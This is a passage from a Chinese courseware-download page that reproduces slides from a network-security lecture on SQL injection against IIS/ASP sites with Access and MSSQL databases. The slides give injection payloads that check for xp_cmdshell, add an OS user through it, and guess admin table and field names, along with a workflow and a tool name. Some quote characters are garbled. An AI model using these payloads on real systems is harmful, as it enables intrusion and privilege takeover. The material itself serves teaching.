網(wǎng)絡(luò)安全第六講數(shù)據(jù)庫安全實例-sql注入-資料下載頁
2025-02-08 11:19本頁面
【正文】 SS則兩條都會異常。 確定 XP_CMDSHELL執(zhí)行情況 and 1=(SELECT count(*) FROM WHERE xtype = 39。X39。 AND name = 39。xp_cmdshell39。) 判斷 XP_CMDSHELL是否存在 ,返回正常則存在 . exec master..xp_cmdshell’ user 123 123/add’。 ? 增加一個用戶 123,密碼也為 123,此處可使用任何 NET命令。 ? 注：此處注射必須要在 Mssql下有 SA權(quán)限 ,所以一旦成功可以直取服務(wù)器最高權(quán)限，丌過成功率很低 . 猜解表名和字段名 ? 針對 Access數(shù)據(jù)庫 ….?id=YY and 0(select count(*) from admin) 判斷是否存在 admin這張表 ….?id=YY and 0(select count(username) from admin) 判斷是否存在 username這個字段 ….?id=YY and 0(select count(password) from admin) 判斷是否存在 password這個字段 注意： 如果上面兩條注入語句返回正常就說明存在表名和字段名 ,否則根 據(jù)常用表名和字段名多次更改和判斷 ,這里叧能憑借猜解運氣 . 常用表名和字段名在明小子 —SQL注入 —設(shè)置檢測區(qū)中可以找到 實驗 : ? IIS+ASP+ACCESS 某站點 SQL注射 DEMO 本講總結(jié) ? 網(wǎng)站的組成 IIS + asp + acess IIS + asp + mssql ? SQL注射的基本原理 攻擊者從客戶端提交特殊的數(shù)據(jù)庫查詢代碼，使數(shù)據(jù)庫泄露敏感信息 . ? 工具及手工注射的方法 判斷注射點 —判斷數(shù)據(jù)庫類型 —猜解表名和列名 —得出字段值 —找后臺 手工注射工具 :明小子的使用方法 實驗 ? IIS+ASP+ACCESS(某站點 ) IIS+ASP+ACCESS CLIENT WEB SERVER 演講完畢，謝謝觀看！
教學(xué)課件相關(guān)推薦
鄂ICP備17016276號-1